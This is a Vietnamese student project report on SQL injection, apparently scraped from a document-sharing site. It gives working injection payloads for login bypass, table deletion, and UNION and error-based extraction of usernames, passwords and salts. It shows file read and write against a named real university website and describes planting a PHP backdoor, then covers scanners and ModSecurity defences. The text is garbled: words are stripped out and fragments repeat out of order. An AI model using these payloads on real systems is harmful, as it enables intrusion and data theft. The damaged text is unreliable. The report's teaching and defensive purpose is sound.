Đề tài: Tấn công lỗ hổng SQL Injection Tổng quan về đề tài Khái niệm về ứng dụng web và các giao thức web Tổng quan về sQL Injection: Các dạng tấn công và cách ngăn chặn tấn công Ưu điểm và nhược điểm của dạng tấn công SQL Injection Các phương pháp tấn công phổ biến vào lỗ hổng SQL Injection Kết luận
ĐẠI HỌC QUỐC GIA THÀNH PHỐ HỒ CHÍ MINH TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN ĐỒ ÁN ĐỀ TÀI: SQL INJECTION Giảng viên hướng dẫn : ThS Nguyễn Duy Sinh viên thực hiện: Mai Tiến Dũng 12520085 Đinh Tiến Duy 12520097 Vũ Khải Hoàn 12520151 Phạm Văn Hùng 12520162 Tp Hồ Chí Minh, ngày 01 tháng 05 năm 2016 Mục lục I Tìm hiểu SQL Injection II Khái quát SQL injection kỹ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu đầu vào ứng dụng web thông báo lỗi hệ quản trị sở liệu trả để inject thi hành câu lệnh SQL bất hợp pháp Đây lỗ hổng thường gặp website internet nằm 10 lỗ hổng hàng đầu OWASP Lỗ hổng nằm ứng dụng web vấn đề sở liệu hay web server Hầu hết lỗi xuất phát từ lập trình viên Hậu SQL injection cho phép kẻ công thực thao tác select, delete, insert, update trái phép vào sở liệu server chạy Các dạng công SQL Injection Tấn công mệnh đề Xét đoạn code php sau: $uname=$_POST['uname']; $passwrd=$_POST['passwrd']; $query="select username,pass from users where username='$uname' and password='$passwrd'"; $result=mysql_query($query); Thử tài khoản đăng nhập mật bằng: 'or ''=', cầu truy vấn thành câu sau: select username,pass from users where username='' or ''='' and password='' or ''='' Do mệnh đề nên dễ dàng đăng nhập tài khoản Code: /home/metscom/public_html/myadmin/login.php $adminname=trim($_POST['adminname']); $password=trim($_POST['password']); $query ="SELECT admin_fname, admin_lname, admin_name , password, DATE_FORMAT(last_login,'%b, %d %Y %h:%i:%s') as III last_login, last_ip FROM ".TABLEPREFIX."_admin WHERE admin_name='$adminname' AND password='$password' AND status='1'"; Sửa lỗi: $adminname=mysql_real_escape_string(trim($_POST['adminname'])); $password=mysql_real_escape_string(trim($_POST['password'])); Tấn công phá hoại liệu Giả sử câu lệnh trên, không nhập 'or ''=' mà thêm sau: ' ; DROP table table_name' select username,pass from users where username=$uname and password='' ; DROP table table_name '' Với câu lệnh trên, sau lấy thông tin user, thực thi lệnh xóa table định muốn xoá Ngoài thực câu lệnh insert, update … vào sở liệu bị dính lỗ hổng Tấn công khai thác liệu Là dạng công phổ biến SQL Injection Giả sử có đoạn code php: "select * from users where id="+$id; Muốn lấy giá trị $id cần sử dụng phương pháp GET php Nếu cố tình nhập vào trình duyệt: 1' union select 1,version(),3 Với câu truy vần này, đoạn mã php thực lộ thông tin phiên cở sở liệu Tiếp đó, lỗi bị lợi dụng khai thác lấy thông tin Khai thác lỗ hổng SQL Injection Tìm lỗ hổng SQL Injection Thử thêm dấu nháy đơn ' nháy kép " vào đường dẫn trên: http://website.com/index.php?id=1' Nếu bạn thấy dòng thông báo tương tự: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in xuất hiện: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line trang bị trắng tức website bạn bị lỗi SQL injection Các loại hình thức công SQL Injection + Simple SQL injection: - UNION SQL Injection: sử dụng toán tử UNION để join truy vấn với - Error Based SQL Injection: khai thác lỗi cú pháp để trích xuất số thông tin + Blind SQL injection: - Kỹ thuật dùng website bị mắc lỗi SQL Injection bị che dấu Blind SQL Injection khác Simple SQL injection chỗ thay người công thấy số thông tin có ích họ thấy trang báo lỗi chung Khai thác lỗi SQL Injection thông qua phương thức GET + Tìm lỗ hổng SQL Injection Tiến hành chọn website để kiểm tra Thêm dấu phẩy vào nơi kiểm tra + Do website báo lỗi truy vấn nên xác định website dính SQL Injection Đếm số cột bảng Để đếm số cột bảng, ta sử dụng lệnh order by Bắt đầu lệnh order by Tiếp tục dùng lệnh order by xuất lỗi truy vấn Kết luận: bảng có cột Để xác định xác cột gọi truy vấn, ta sử dụng “union” Chèn đoạn truy vấn “union select 1,2,3 ”, ta xác định xác cột gọi Những số tương ứng với cột gọi xuất vị trí mà giá trị in + Sau thực hiện, website trả số 2, số nơi khai thác lỗi Lấy thông tin phiên sở liệu MYSQL chạy Sử dụng lệnh: union select 1,version(),3 để lấy thông tin phên MYSQL chạy + Ở MySQL, phiên từ 5.0 trở lên có sở liệu information_schema Cơ sở liệu chứa tất thông tin sở liệu khác hệ thống, bảng, cột, mối quan hệ sở liệu Vì vậy, ta tìm cách truy vấn vào sở liệu information_schema để lấy tên bảng sở liệu muốn lấy thông tin Lấy thông tin tên database website bị dính lỗi SQL Injection Dùng lệnh: union select 1,database(),3 From Information_schema.tables để tiến hành lấy tên database + + Sau khac thác, website columns “userID,username,password” Ta tiến hành lấy liệu để xem user,password Lấy thông tin tên đăng nhập mật Sử dụng lệnh: union select 1, concat_ws(0x2f,userID,username,password),3 From ktkt.user Tiến hành đăng nhập vào trang quản trị Khai thác lỗ hổng SQL Injection thông qua phương thức POST + Tìm lỗ hổng SQL Injection Tiến hành chọn website để kiểm tra Khác với phương thức GET, phương thức POST cần có công cụ để bắt lấy phương thức POST Ở này, nhóm dùng addon Live HTTP Headers Firefox để bắt lấy phương thức POST, dùng Hack Bar để thực thi phương thức POST, dùng dấu phẩy để kiểm tra lỗ hổng SQL Injection Do website báo lỗi truy vấn nên xác định website dính SQL + + Injection Với thông báo trên, dùng phương pháp xPath SQL Injection Error Based SQL Injection để khai thác Trong kết hợp hai phương pháp Lấy thông tin phiên sở liệu MYSQL chạy Dùng lệnh: and extractvalue(rand(),concat(0x0a,version())) - để lấy phiên sở liệu chạy Lấy thông tin tên database website bị dính lỗi SQL Injection Dùng lệnh: and extractvalue(rand(),concat(0x0a,database())) - để lấy tên sở liệu khai thác + Lấy tất thông tin tên table Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) - để lấy tên table Tuy nhiên dùng limit nên lấy table để lấy table cần lấy, cần phải nâng limit lên Ở cần lấy table “users” cần limit 180,1 and extractvalue(rand(),concat(0x0a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 180,1))) - + Lấy thông tin column table Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1))) - để lấy column một, với 0x7573657273 mã hex users Để lấy hết column, cần phải nâng limit lên + Lấy thông tin tên đăng nhập mật Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select concat(id,0x2f,email,0x2f,password,0x2f,password_salt) from users limit 0,1))) - để lấy id, địa email, password, password salt Tuy nhiên xPath SQL Injection khai thác website thông tin cần xem cần ít, phải xài Error Based SQL Injection (Hình khai thác column một) Lấy column password dùng lệnh: and (select FROM(select count(*),concat((select concat(0x3a,password) FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)b) Lấy column password_salt dùng lệnh: and (select FROM(select count(*),concat((select concat(0x3a,password_salt) FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)b) - Nâng limit lên để lấy tiếp thông tin khai thác (Hình khai thác Error Based SQL Injection) Một số khai thác khác thông qua SQL Injection + Đọc tập tin Trong trường hợp đủ quyền, lỗ hổng sql injection cho phép đọc tập tin Tuy nhiên để thực điều này,m cần biết rõ đường lưu trữ ổ cứng Vd: http://khoaketoan.ufm.edu.vn/user/viewdetails.php? lang=vn&mn=ttuc&type=0&id=-228 UNION SELECT 1,load_file('E:\webcode\WEBSITE_UFM\khoaketoan\index.php'),3-Do chế lọc nên cần sử dụng hexa đề không bị chặn + Ghi tập tin + Cũng trường hợp đọc, đủ quyền lỗ hổng SQL Injection cho phép ghi tập tin Tuy nhiên để thực điều này,m cần biết rõ đường lưu trữ ổ cứng Vd: http://khoaketoan.ufm.edu.vn/user/viewdetails.php? lang=vn&mn=ttuc&type=0&id=-228 UNION SELECT 1,"",3 INTO OUTFILE "E:\webcode\WEBSITE_UFM\khoaketoan\test.php"-Upload php backdoor qua trang quản trị, thực chỉnh sửa code thực thi lệnh SQL Do trang quản trị cho tải lên tập tin định dạng đuôi ảnh, cần sử dụng addon trình duyệt firefox: “Live HTTP headers”, nhằm bắt lấy phương thức POST sau gửi lại với định dạng php để chạy backdoor Trong php backdoor có nhiều chức năng, có công cụ chỉnh sửa tập tin công cụ “MYSQL Manager” dùng thực thi câu lệnh MYSQL IV Kiểm tra lỗ hổng SQL Injection Giới thiệu Công cụ kiểm tra SQL Injection giúp lập trình viên soát lại lỗ hổng này, đồng thời giúp quản trị viên tím kiếm sửa lỗi Một số công cụ kiểm tra lỗ hổng SQL Injection như: Acunetix web vulnerability scanner, N-Stalker Web Application Security Scanner, WSSA - Web Site Security Scanning Service, GreenSQL Database Security… Acunetix web vulnerability scanner Đây công cụ quét có hỗ trợ nhiều lỗ hổng, có SQL Injection Ngoài ra, công cụ tạo báo cáo chi tiết sau quét V Ngăn chặn công SQL Injection với ModSecurity Cài đặt Yêu cầu cài gói RHEL, nhóm sử dụng CentOS 6.7 nên nhóm cài gói RHEL 6.x / CentOS 6.x Users Lệnh cài: rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-releaselatest-6.noarch.rpm Cài ModSecurity dùng lệnh: yum install mod_security Do ModSecurity hạn chế rule nên nhóm tải cài thêm rule: https://github.com/SpiderLabs/owasp-modsecurity-crs Bung giải nén thư mục: /etc/httpd/conf.d/ Đổi tên: modsecurity_crs_10_setup.conf.example thành tên khác, nhóm đổi thành modsecurity_crs_10_setup.conf; nhóm có đổi thư mục owasp-modsecurity-crs thành owasp-modsecurity Vào /etc/httpd/conf.d/mod_security.conf thêm Include owaspmodsecurity-crs/modsecurity_crs_10_setup.conf Include owaspmodsecurity-crs/base_rules/*.conf Kiểm tra hoạt động ModSecurity trước kích hoạt Kiểm tra SQL Injection cách thêm dấu phẩy Kiểm tra hoạt động ModSecurity sau kích hoạt VI Ưu điểm Ưu điểm + Lỗ hổng SQL injection lỗ hổng thường gặp website + Có nhiều công cụ hỗ trợ việc quét lỗi công + Kỹ thuật công đa dạng + Có thể làm bàn đạp để thực công khác Nhược điểm + Yêu cầu kiến thức sâu ngôn ngữ web, server scripting database + Các loại công phức tạp Blind SQL injection đòi hỏi người công phải có kinh nghiệm nhiều + Nếu gặp phải Web Application Firewall đòi hỏi phải có kĩ thuật chuyên sâu Phương pháp khắc phục Kiểm tra thông tin đăng nhập, giới hạn độ dài chuỗi đăng nhập Password nên lưu dạng hash Dùng tool để quét tìm lỗi SQL injection MS Source Code Analyzer, MS UrlScan, dotDefender, IBM AppScan,… Xây dựng rule WAF mạnh nhằm hạn chế SQL Injection Nguồn tham khảo http://forum.ceh.vn/SQL-injection-Full-thread-2073.ceh http://securitydaily.net/chong-tan-cong-kieu-sql-injection/ http://kechocgian.blogspot.com/2012/07/khai-thac-xpath-sqlinjection.html http://kaoticcreations.blogspot.com/p/double-query-based-sqlinjection.html CEH V8 Module 14 SQL Injection số tài liệu khác [...]... AppScan,… Xây dựng các rule WAF mạnh nhằm hạn chế SQL Injection 4 Nguồn tham khảo http://forum.ceh.vn /SQL- injection- Full-thread-2073.ceh http://securitydaily.net/chong-tan-cong-kieu -sql- injection/ http://kechocgian.blogspot.com/2012/07/khai-thac-xpath-sqlinjection.html http://kaoticcreations.blogspot.com/p/double-query-based-sqlinjection.html CEH V8 Module 14 SQL Injection và một số tài liệu khác ... động ModSecurity trước khi kích hoạt Kiểm tra SQL Injection bằng cách thêm dấu phẩy 3 Kiểm tra hoạt động ModSecurity sau khi kích hoạt VI Ưu điểm 1 2 3 Ưu điểm + Lỗ hổng SQL injection là lỗ hổng thường gặp trên các website + Có nhiều công cụ hỗ trợ trong việc quét lỗi và tấn công + Kỹ thuật tấn công đa dạng + Có thể làm bàn đạp để thực hiện các cuộc tấn công khác Nhược điểm + Yêu cầu kiến thức sâu... thực thi phương thức POST, dùng dấu phẩy để kiểm tra lỗ hổng SQL Injection Do website báo lỗi truy vấn nên xác định website này dính SQL + + Injection Với thông báo trên, dùng phương pháp xPath SQL Injection hoặc Error Based SQL Injection để khai thác Trong bài này kết hợp cả hai phương pháp trên Lấy thông tin phiên bản cơ sở dữ liệu MYSQL đang chạy Dùng lệnh: and extractvalue(rand(),concat(0x0a,version()))... web, server scripting và database + Các loại tấn công phức tạp như Blind SQL injection đòi hỏi người tấn công phải có kinh nghiệm nhiều + Nếu gặp phải Web Application Firewall đòi hỏi phải có kĩ thuật chuyên sâu Phương pháp khắc phục Kiểm tra thông tin đăng nhập, giới hạn độ dài chuỗi đăng nhập Password nên lưu ở dạng hash Dùng tool để quét tìm lỗi SQL injection như MS Source Code Analyzer, MS UrlScan,... 2 Giới thiệu Công cụ kiểm tra SQL Injection giúp các lập trình viên ra soát lại lỗ hổng này, đồng thời giúp các quản trị viên tím kiếm và sửa lỗi Một số công cụ kiểm tra lỗ hổng SQL Injection như: Acunetix web vulnerability scanner, N-Stalker Web Application Security Scanner, WSSA - Web Site Security Scanning Service, GreenSQL Database Security… Acunetix web vulnerability scanner Đây là công cụ quét... Site Security Scanning Service, GreenSQL Database Security… Acunetix web vulnerability scanner Đây là công cụ quét có hỗ trợ nhiều lỗ hổng, trong đó có SQL Injection Ngoài ra, công cụ này tạo bản báo cáo rất chi tiết sau khi quét V Ngăn chặn tấn công SQL Injection với ModSecurity 1 Cài đặt Yêu cầu cài gói RHEL, do nhóm sử dụng CentOS 6.7 nên nhóm sẽ cài gói RHEL 6.x / CentOS 6.x Users Lệnh cài: rpm -Uvh... thực thi lệnh SQL Do trang quản trị chỉ cho tải lên tập tin định dạng đuôi ảnh, do đó cần sử dụng addon của trình duyệt firefox: “Live HTTP headers”, nhằm bắt lấy phương thức POST và sau đó gửi lại với định dạng php để chạy backdoor Trong php backdoor có nhiều chức năng, trong đó có công cụ chỉnh sửa tập tin và công cụ “MYSQL Manager” dùng thực thi các câu lệnh MYSQL IV Kiểm tra lỗ hổng SQL Injection. .. user,password Lấy thông tin tên đăng nhập và mật khẩu Sử dụng lệnh: union select 1, concat_ws(0x2f,userID,username,password),3 From ktkt.user Tiến hành đăng nhập vào trang quản trị 4 Khai thác lỗ hổng SQL Injection thông qua phương thức POST + Tìm lỗ hổng SQL Injection Tiến hành chọn website để kiểm tra Khác với phương thức GET, phương thức POST cần có công cụ để bắt lấy phương thức POST Ở trong bài... 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)b) - Nâng limit lên để lấy tiếp các thông tin khai thác (Hình trên khai thác Error Based SQL Injection) 5 Một số khai thác khác thông qua SQL Injection + Đọc tập tin Trong trường hợp đủ quyền, lỗ hổng sql injection cho phép chúng ta đọc được tập tin Tuy nhiên để thực hiện điều này,m chúng ta cần biết rõ đường lưu trữ đúng trên ổ cứng Vd: http://khoaketoan.ufm.edu.vn/user/viewdetails.php?... limit lên + Lấy thông tin tên đăng nhập và mật khẩu Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select concat(id,0x2f,email,0x2f,password,0x2f,password_salt) from users limit 0,1))) - để lấy id, địa chỉ email, password, password salt Tuy nhiên do xPath SQL Injection trong khai thác website này hiện thông tin cần xem cần ít, do đó phải xài Error Based SQL Injection (Hình trên khai thác từng column